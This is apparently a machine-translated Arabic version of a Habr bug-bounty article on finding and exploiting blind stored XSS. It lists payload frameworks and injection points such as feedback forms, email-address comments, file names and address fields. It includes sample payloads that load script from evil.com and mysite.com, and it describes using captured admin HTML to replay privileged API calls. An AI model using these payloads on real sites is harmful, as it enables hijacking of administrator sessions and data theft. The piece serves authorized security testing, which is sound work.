Bug Hunt و Blind-XSS و Fox Tricks


الثعالب تعرف الكثير عن الصيد :)

ربما سمعت الكثير من BugBounty ، والبحث عن نقاط الضعف المكافآت ، والقصص ذات الصلة حول هذا الموضوع. كواحدة من "صيادي الحشرات " ، بدأت رحلتي منذ أكثر من عام بقليل في موقع HackerOne . خلال هذا الوقت ، تمكنت من معرفة الكثير عن أنواع مختلفة من نقاط الضعف ، واكتساب الكثير من الخبرة ، والآن أود أن أشارك هذا مع المجتمع.

في هذه المقالة ، أود أن أتحدث عن نوع من الثغرات الأمنية مثل البرمجة النصية للمواقع العمياء أو البرمجة النصية للمواقع العمياء المخزنة ، إذا تمت ترجمتها إلى اللغة الروسية. أنا أدعوك إلى القط ، إذا كنت مهتمًا بمثل هذه المواضيع أو كنت ترغب في تحسين أمان التطبيق الخاص بك.

تحتوي العديد من تطبيقات الويب على لوحة إدارية أو أشكالها الأخرى التي تتيح لك التحكم في محتوى موقع الويب وإدارة بيانات المستخدم وتنفيذ العديد من الإجراءات المتميزة الأخرى. يمكن حماية المدخل الإداري عن طريق الوصول إلى مجموعة محددة من عناوين IP وملفات تعريف الارتباط HTTP فقط وبطبيعة الحال إذن.

ومع ذلك ، يمكن التحايل على جميع آليات الحماية هذه إذا تبين أن المحتوى الذي أدخله المستخدم ضار ، ولا يقوم التطبيق بتنظيف المعلومات المرسلة من قبل المستخدم بشكل صحيح.

أدوات للاستخدام


أولاً ، دعنا نتعرف على الأدوات التي تسمح لنا باستغلال Blind-XSS المكتشف بنجاح. وهو يختلف عن نقاط الضعف الأخرى بطريقة الاستغلال. من خلال إرسال رسالة ضارة ، لا نعرف ما إذا كان JavaScript قد تم دمجه بنجاح في صفحات HTML أم لا. سيتم تنفيذ التعليمات البرمجية الضارة فقط عندما يزور المسؤول الصفحة باستخدام هذا الرمز. خلاف ذلك ، قد لا نعرف أبدًا ما إذا كان الهجوم ناجحًا أم لا.

جميع أنواع الأطر التي تم إنشاؤها حصريًا لحقن Blind-XSS يمكن أن توفر لنا المساعدة التشغيلية:

  1. XSS Hunter ( GitHub ) - أحد الأطر الأكثر شعبية
  2. ezXSS
  3. bXSS (مع إشعار SMS)
  4. elScripto

وغيرها الكثير. كل إطار له خصائصه الخاصة ، لذلك يختار كل باغونتر الإطار الأكثر ملاءمة ومناسبًا لاحتياجاته. بما أنني أستخدم XSS Hunter ، فسأقدم لاحقًا في المقال ميزاته وكيفية استخدامه للحصول على أفضل نتيجة.

بعد إعداد الإطار ، ستحصل على حمولات جاهزة يمكن تطبيقها في مواقف مختلفة ، ولكن غالبًا ما تستخدم لغات متعددة اللغات ، على سبيل المثال:

\-->'></style></div></article></script><script/src=//evil.com> 

نقطة الدخول أو نقطة الحقن


يتم توحيد جميع نقاط الإدخال بحقيقة أن المعلومات التي يتم إدخالها فيها لا يتم مسحها بشكل صحيح من تعليمات JavaScript البرمجية وتسمح بتنفيذ هذا الرمز في بنية HTML للصفحة الإدارية. في رأيي ، نقطة الدخول الأكثر شعبية هي رسالة دعم.

النظر في تلك التي أعرفها.

1. شكل ردود الفعل

كقاعدة عامة ، في هذا النموذج ، هناك مجالات مثل:

  1. رأس
  2. رسالة
  3. في بعض الأحيان عنوان بريد إلكتروني في حالة رغبة المسؤول في الاتصال بمؤلف الرسالة.

قد يكون كل حقل من هذه الحقول عرضة لحقن JavaScript. ولكن هناك خدعة صغيرة هنا:
إذا رأيت حقل عنوان البريد الإلكتروني ، فلا تتسرع في الاستسلام إذا كان لا يقبل أي شيء آخر غير هيكل البريد الإلكتروني. حاول: - "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
- "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
تعد علامات الاقتباس والأقواس جزءًا صالحًا من عنوان البريد الإلكتروني وهي تعليقات وفقًا لمواصفات RFC 2822 (القسم 3.4.1) و RFC 3696 (القسم 3).

إن نصف حقناتي الناجحة هي مجرد حقنة من خلال التعليق على عنوان البريد الإلكتروني. في معظم الأحيان ، لن يسمح التحقق من جانب العميل (المتصفح) باستخدام مثل هذه الرسالة الإلكترونية. لكننا نعلم أن التحقق من العميل لا يعني شيئًا بالنسبة لنا:

باختصار حول التحقق من جانب العميل والمتسللين


لذلك ، يجب استبدال عنوان البريد الإلكتروني فقط في عملية إرسال طلب باستخدام أي تطبيق وكيل (على سبيل المثال ، Burp Suite).

2. نماذج الشكاوى / الاقتراحات / التقييمات

بالتأكيد رأيت في كثير من الأحيان السطر "هل المقالة مفيدة؟" (قيم هذه المقالة) على بوابات الدعم أو مع الوثائق. من خلال النقر على زر "لا" ، يمكنهم أن يقدموا لنا إرسال رسالة لماذا لم تكن المقالة مفيدة وما يمكن تحسينه. ربما تكون قد فهمت بالفعل مكان وجود الحمولة الصافية في هذه الحالة.

لذلك ، إذا رأيت عروضًا مماثلة لإرسال التعليقات ، فعليك بالتأكيد الانتباه إليها وإرسال حمولة ، والتي في النهاية يمكن أن تكون ناجحة.

3. تسجيل الحساب

نعم ، عند تسجيل حساب ، من غير المرجح أن يتم عرض حسابنا في مكان ما في اللوحة الإدارية ، ومع ذلك ، عن طريق إدراج الحمولة الصافية في عنوان البريد الإلكتروني ، يمكننا استخدام هذا في وقت لاحق لإرسال رسائل إلى الموقع كمستخدم مسجل. في الوقت نفسه ، ستعرض النماذج نفسها عنواننا تلقائيًا في اللوحة الإدارية ، على الرغم من أنه لم يتم طلبها مباشرةً عند إرسال أي نموذج أو رسالة.

4. دعم العملاء

نقطة الدخول الأكثر وضوحا والاستغلال في معظم الأحيان. يمكن أن يختلف كل نموذج لطلب خدمات الدعم عن بعضها البعض ، لذا عليك الانتباه إلى أي حقول يمكنك إدراج حمولة فيها.

تستحق القدرة على تنزيل الملفات عناية خاصة. خدعة أخرى هي أنه يمكن ترك الحمولة في اسم الملف ، على سبيل المثال:

 Screenshot - 12.03.2019 12_05_52"><script src=//mysite.com/1.js>.jpeg.html 

واترك النص نفسه في الملف نفسه (بفضل w9w للعثور عليه).

5. عنوان التسليم / الشركة / المنزل

غالبًا ما يتم استخدام العنوان عند التفاعل مع المستخدم ، عندما يحتاج إلى إرسال شيء ما في حالة خدمة التوصيل أو متجر أو حجز فندق أو أي تطبيق آخر يعالج العناوين.

حقل العنوان شائع جدًا ويحدث التحقق من الصحة في بعض الأحيان على مستوى عنوان موجود. لذلك ، قد تحتاج إلى إدخال العنوان الحقيقي في البداية والإشارة إليه على الخريطة ، وبالفعل في عملية إرسال الطلب ، أضف الحمولة الصافية إلى العنوان الصحيح من أجل تجاوز اختبارات التطبيق.

6. واجهات برمجة التطبيقات المخفية

في بعض الأحيان ، عند تعلم شفرة JavaScript ، قد تجد نقاط نهاية API غير مستخدمة في التطبيق. يمكن أن يكون هذا ، على سبيل المثال ، إرسال معلومات حول الأخطاء وتصحيح الأخطاء وما شابه ذلك. من الممكن تكوين طلب بناءً على JS وإرسال رسالة مع حمولة.

بعد العملية وآليات الحماية الالتفافية


بعد تلقي ملاحظات من التشغيل الناجح لـ Blind-XSS ، فإن العديد منهم في عجلة من أمرهم للإبلاغ عن البرنامج إلى المكافآت بمكافآت الثغرات الموجودة. ومع ذلك ، غالبًا ما تحصل نقاط الضعف هذه على أولوية عالية ، ولكنها ليست حرجة. لدينا عدة طرق لإثبات الضرر الحاد الناجم عن استغلال محتمل للضعف.

1. تعلم لوحات مصدر HTML

مع كل عملية ناجحة ، يرسل XSS Hunter لنا معلومات مثل:

1. ملف تعريف ارتباط المستخدم
2. المستخدم وكيل المستخدم
3. عنوان IP للمستخدم
4. عنوان URL للصفحة التي يتم فيها تنفيذ البرنامج النصي
5. شفرة مصدر HTML للصفحة
6. لقطة شاشة للصفحة
7. المرجع



كقاعدة عامة ، لا توجد ملفات تعريف ارتباط للجلسة ، نظرًا لأن لديها سمة HTTP-Only. في هذه الحالة ، فإن الأكثر فائدة بالنسبة لنا هو الكود المصدري لصفحة HTML. في ذلك ، من بين أشياء أخرى ، يمكنك العثور على JavaScript. يسمح لك هذا الرمز بفهم كيفية إنشاء الطلبات لتنفيذ الإجراءات الإدارية. من الضروري دراسته ومحاولة تنفيذ هذه الإجراءات عن طريق إنشاء طلب يدويًا في Burp Suite أو في برامج أخرى مماثلة.

في حالتي ، كانت لوحة الإدارة موجودة في نفس المجال الذي أرسلت منه الحمولة الصافية ، لذلك تمكنت من فتح جميع النصوص دون حقن إضافي (على الرغم من أنه يمكن القيام بذلك في حقنة واحدة). لدهشتي ، على الرغم من أن الوصول إلى الأقسام الإدارية لا يزال يتطلب تفويضًا ، فقد تمكنت من إرسال طلبات إلى واجهات برمجة التطبيقات الإدارية وإدارة المحتوى كما لو كنت مسؤولًا بالفعل.

لسوء الحظ ، فإن البرنامج الذي تمكنت من خلاله من اكتشاف هذه الثغرات الأمنية هو برنامج خاص ولا يمكنني تسميته أو إظهار عملية استخراج الطلبات من رمز JS بمزيد من التفصيل.

كنتيجة لهذا الاكتشاف ، تمكنت من الحصول على 2500 دولار بدلاً من 1000 دولار كما لو كانت مشكلة عدم حصانة ذات أولوية عالية.

2. الحصول على مزيد من المعلومات.

حتى إذا كانت اللوحة الإدارية موجودة خلف جدار الحماية ولا توجد طريقة للوصول إليها بشكل أساسي ، فلا يزال بإمكانك الحصول على المزيد من المعلومات وزيادة خطورة الثغرة المكتشفة.

يتيح لك XSS Hunter إضافة رمز JS الخاص بك إلى الحمولة وتحديد صفحات إضافية لاستردادها:



بعد أول عملية ناجحة ، يمكنك استخراج صفحات إضافية تم الحصول عليها أثناء دراسة التعليمات البرمجية المصدر لصفحة HTML. بنفس الطريقة ، يمكنك تنفيذ الطلبات مع امتيازات المسؤول ، ولكن هذا يتطلب رمز JS أكثر تعقيدًا.

بالإضافة إلى ذلك ، أعتقد أنه يمكنك إضافة استخراج HTML متكرر لصفحات أخرى من اللوحة الإدارية ، والتي قد تظهر عليها معلومات حساسة ، لكنني لم أضطر أبدًا إلى اللجوء إلى هذا.

استنتاج


  1. أنصحك للمطورين بالتحقق من جميع حقولهم المتعلقة بعناوين البريد الإلكتروني ، حيث إن الكثير منهم يعتمدون في كثير من الأحيان على فحص معياري لهيكل عنوان البريد الإلكتروني ، دون الأخذ في الاعتبار أنه من الممكن إنشاء عنوان صالح تمامًا ، ولكن مع شفرة ضارة.
  2. انتبه إلى أي حقول ثانوية متعلقة بالتعليقات. إنها مختلفة ومن المستحيل سردها جميعًا.
  3. لا تكن كسولًا لاستخراج معلومات إضافية من صفحة HTML المستلمة ، مع وجود احتمال كبير في إمكانية زيادة المكافأة في بعض الأحيان.
  4. حاول إثبات التأثير الحاسم لكل من Blind-XSS.

أقترح الاشتراك في قناتي في Telegram (باللغة الروسية فقط) ، وكذلك على حساب Twitter (باللغة الإنجليزية) ، لأنه من الصعب جمع المواد لمثل هذه المقالات الكبيرة ، لكن يمكنني نشر الحيل القصيرة والعثور عليها كثيرًا.

الروابط يمكن العثور عليها أدناه.

هل لديك مطاردة جيدة!

Source: https://habr.com/ru/post/ar470818/


All Articles